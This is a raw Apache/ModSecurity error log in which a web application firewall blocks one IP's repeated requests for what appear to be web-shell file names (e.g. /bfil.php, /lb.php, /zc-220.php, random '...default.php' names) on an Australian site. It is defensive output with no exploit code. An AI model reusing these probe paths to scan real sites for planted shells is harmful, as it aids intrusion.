[Sat Apr 11 02:41:43.272403 2026] [:error] [pid 21706:tid 21732] [client 4.245.205.135:46367] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlEZyGQ1M5d8fQSsLHT4AAAABg"]
[Sat Apr 11 02:41:43.837121 2026] [:error] [pid 21706:tid 21728] [client 4.245.205.135:62095] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlEZyGQ1M5d8fQSsLHT6gAAABQ"]
[Sat Apr 11 02:41:44.401515 2026] [:error] [pid 21706:tid 21714] [client 4.245.205.135:46352] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlEaCGQ1M5d8fQSsLHT7gAAAAY"]
[Sat Apr 11 02:41:44.985706 2026] [:error] [pid 21706:tid 21727] [client 4.245.205.135:44234] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adlEaCGQ1M5d8fQSsLHT9QAAABM"]
[Sat Apr 11 02:41:45.506247 2026] [:error] [pid 55451:tid 55468] [client 4.245.205.135:44226] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adlEaXApxuyB7yCS5RkufwAAAM8"]
[Sat Apr 11 02:41:46.096465 2026] [:error] [pid 55451:tid 55460] [client 4.245.205.135:43484] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adlEanApxuyB7yCS5RkuhgAAAMc"]
[Sat Apr 11 02:41:46.637438 2026] [:error] [pid 55451:tid 55454] [client 4.245.205.135:49607] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adlEanApxuyB7yCS5RkujAAAAME"]
[Sat Apr 11 02:41:47.172774 2026] [:error] [pid 21569:tid 21667] [client 4.245.205.135:35987] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bfil.php"] [unique_id "adlEa3AvQTgvXJ6vHoqvzwAAAJE"]
[Sat Apr 11 02:41:47.729539 2026] [:error] [pid 21570:tid 21668] [client 4.245.205.135:49652] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adlEazKs5t9xRSNL6cnekAAAAEM"]
[Sat Apr 11 02:41:48.772147 2026] [:error] [pid 21706:tid 21717] [client 4.245.205.135:58883] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adlEbCGQ1M5d8fQSsLHUDQAAAAk"]
[Sat Apr 11 02:41:49.714968 2026] [:error] [pid 55451:tid 55460] [client 4.245.205.135:37249] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adlEbXApxuyB7yCS5RkuoAAAAMc"]
[Sat Apr 11 02:41:50.373550 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:36029] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lb.php"] [unique_id "adlEbnApxuyB7yCS5RkupwAAANE"]
[Sat Apr 11 02:41:51.195664 2026] [:error] [pid 21706:tid 21717] [client 4.245.205.135:61530] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adlEbyGQ1M5d8fQSsLHUIgAAAAk"]
[Sat Apr 11 02:41:52.115967 2026] [:error] [pid 21568:tid 21583] [client 4.245.205.135:62088] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adlEcIiz5v_ljZxkpR_lWQAAAQs"]
[Sat Apr 11 02:41:52.851955 2026] [:error] [pid 21568:tid 21587] [client 4.245.205.135:60235] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adlEcIiz5v_ljZxkpR_lXAAAAQ8"]
[Sat Apr 11 02:41:53.679507 2026] [:error] [pid 21569:tid 21656] [client 4.245.205.135:52954] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "adlEcXAvQTgvXJ6vHoqv1wAAAIs"]
[Sat Apr 11 02:41:54.680989 2026] [:error] [pid 21568:tid 21574] [client 4.245.205.135:56684] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adlEcoiz5v_ljZxkpR_lbAAAAQI"]
[Sat Apr 11 02:41:55.472915 2026] [:error] [pid 55451:tid 55461] [client 4.245.205.135:56680] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adlEc3ApxuyB7yCS5RkutAAAAMg"]
[Sat Apr 11 02:41:56.318691 2026] [:error] [pid 55451:tid 55458] [client 4.245.205.135:49630] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adlEdHApxuyB7yCS5RkuuwAAAMU"]
[Sat Apr 11 02:41:57.332931 2026] [:error] [pid 55451:tid 55462] [client 4.245.205.135:35994] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "adlEdXApxuyB7yCS5RkuwwAAAMk"]
[Sat Apr 11 02:41:57.908080 2026] [:error] [pid 21570:tid 21661] [client 4.245.205.135:36013] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlEdTKs5t9xRSNL6cneogAAAEA"]
[Sat Apr 11 02:41:58.595656 2026] [:error] [pid 55451:tid 55466] [client 4.245.205.135:58884] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlEdnApxuyB7yCS5RkuzAAAAM0"]
[Sat Apr 11 02:41:59.363937 2026] [:error] [pid 55451:tid 55461] [client 4.245.205.135:35980] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlEd3ApxuyB7yCS5RkuzgAAAMg"]
[Sat Apr 11 02:42:00.354555 2026] [:error] [pid 21568:tid 21596] [client 4.245.205.135:49642] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlEeIiz5v_ljZxkpR_ljQAAARg"]
[Sat Apr 11 02:42:01.139882 2026] [:error] [pid 55451:tid 55472] [client 4.245.205.135:52961] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adlEeXApxuyB7yCS5Rku3AAAANM"]
[Sat Apr 11 02:42:02.470134 2026] [:error] [pid 21569:tid 21654] [client 4.245.205.135:56688] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adlEenAvQTgvXJ6vHoqv6gAAAIk"]
[Sat Apr 11 02:42:03.753299 2026] [:error] [pid 21570:tid 21663] [client 4.245.205.135:56659] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adlEezKs5t9xRSNL6cnetAAAAEE"]
[Sat Apr 11 02:42:04.394822 2026] [:error] [pid 21569:tid 21683] [client 4.245.205.135:56642] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iindv.php"] [unique_id "adlEfHAvQTgvXJ6vHoqv9gAAAJg"]
[Sat Apr 11 02:42:05.314476 2026] [:error] [pid 21568:tid 21580] [client 4.245.205.135:44238] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adlEfYiz5v_ljZxkpR_lnwAAAQg"]
[Sat Apr 11 02:42:06.247678 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:53944] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adlEfnApxuyB7yCS5RkvBAAAAMI"]
[Sat Apr 11 02:42:06.947565 2026] [:error] [pid 55451:tid 55459] [client 4.245.205.135:65270] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adlEfnApxuyB7yCS5RkvDQAAAMY"]
[Sat Apr 11 02:42:07.529624 2026] [:error] [pid 21570:tid 21689] [client 4.245.205.135:58925] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/maintura.php"] [unique_id "adlEfzKs5t9xRSNL6cnevwAAAE8"]
[Sat Apr 11 02:42:08.085645 2026] [:error] [pid 21568:tid 21580] [client 4.245.205.135:46371] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlEgIiz5v_ljZxkpR_lrQAAAQg"]
[Sat Apr 11 02:42:08.593039 2026] [:error] [pid 21706:tid 21730] [client 4.245.205.135:58889] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlEgCGQ1M5d8fQSsLHUOAAAABY"]
[Sat Apr 11 02:42:09.371517 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:44237] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlEgXApxuyB7yCS5RkvFQAAANE"]
[Sat Apr 11 02:42:09.976787 2026] [:error] [pid 21568:tid 21575] [client 4.245.205.135:62103] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlEgYiz5v_ljZxkpR_lsAAAAQM"]
[Sat Apr 11 02:42:10.846024 2026] [:error] [pid 55451:tid 55476] [client 4.245.205.135:43480] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlEgnApxuyB7yCS5RkvGgAAANc"]
[Sat Apr 11 02:42:11.631912 2026] [:error] [pid 55451:tid 55465] [client 4.245.205.135:35990] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlEg3ApxuyB7yCS5RkvHQAAAMw"]
[Sat Apr 11 02:42:12.440403 2026] [:error] [pid 21570:tid 21690] [client 4.245.205.135:56671] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlEhDKs5t9xRSNL6cnezgAAAFA"]
[Sat Apr 11 02:42:13.145809 2026] [:error] [pid 21568:tid 21581] [client 4.245.205.135:53926] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlEhYiz5v_ljZxkpR_luQAAAQk"]
[Sat Apr 11 02:42:14.188473 2026] [:error] [pid 21568:tid 21583] [client 4.245.205.135:62114] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adlEhoiz5v_ljZxkpR_lwAAAAQs"]
[Sat Apr 11 02:42:14.866862 2026] [:error] [pid 21568:tid 21586] [client 4.245.205.135:56656] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adlEhoiz5v_ljZxkpR_lwgAAAQ4"]
[Sat Apr 11 02:42:15.500558 2026] [:error] [pid 21706:tid 21730] [client 4.245.205.135:58913] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adlEhyGQ1M5d8fQSsLHUYAAAABY"]
[Sat Apr 11 02:42:16.069638 2026] [:error] [pid 21568:tid 21580] [client 4.245.205.135:46350] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zc-220.php"] [unique_id "adlEiIiz5v_ljZxkpR_lxwAAAQg"]
[Sat Apr 11 02:42:16.828591 2026] [:error] [pid 55451:tid 55459] [client 4.245.205.135:49639] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlEiHApxuyB7yCS5RkvPwAAAMY"]
[Sat Apr 11 02:42:17.456656 2026] [:error] [pid 21568:tid 21583] [client 4.245.205.135:63483] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlEiYiz5v_ljZxkpR_lzgAAAQs"]
[Sat Apr 11 02:42:18.822486 2026] [:error] [pid 21570:tid 21668] [client 4.245.205.135:63424] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlEijKs5t9xRSNL6cne1QAAAEM"]
[Sat Apr 11 02:42:19.485957 2026] [:error] [pid 21570:tid 21679] [client 4.245.205.135:36024] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlEizKs5t9xRSNL6cne2QAAAEk"]
[Sat Apr 11 02:42:20.034858 2026] [:error] [pid 21570:tid 21685] [client 4.245.205.135:56673] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "adlEjDKs5t9xRSNL6cne3AAAAEw"]
[Sat Apr 11 02:42:20.631879 2026] [:error] [pid 55451:tid 55466] [client 4.245.205.135:35975] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "adlEjHApxuyB7yCS5RkvVAAAAM0"]
[Sat Apr 11 02:42:21.194475 2026] [:error] [pid 21568:tid 21579] [client 4.245.205.135:52955] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "adlEjYiz5v_ljZxkpR_l2QAAAQc"]
[Sat Apr 11 02:42:22.748784 2026] [:error] [pid 21706:tid 21710] [client 4.245.205.135:60251] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "adlEjiGQ1M5d8fQSsLHUfgAAAAI"]
[Sat Apr 11 02:42:23.313525 2026] [:error] [pid 21570:tid 21689] [client 4.245.205.135:62084] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlEjzKs5t9xRSNL6cne7AAAAE8"]
[Sat Apr 11 02:42:23.827481 2026] [:error] [pid 55451:tid 55470] [client 4.245.205.135:59336] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlEj3ApxuyB7yCS5RkvXwAAANE"]
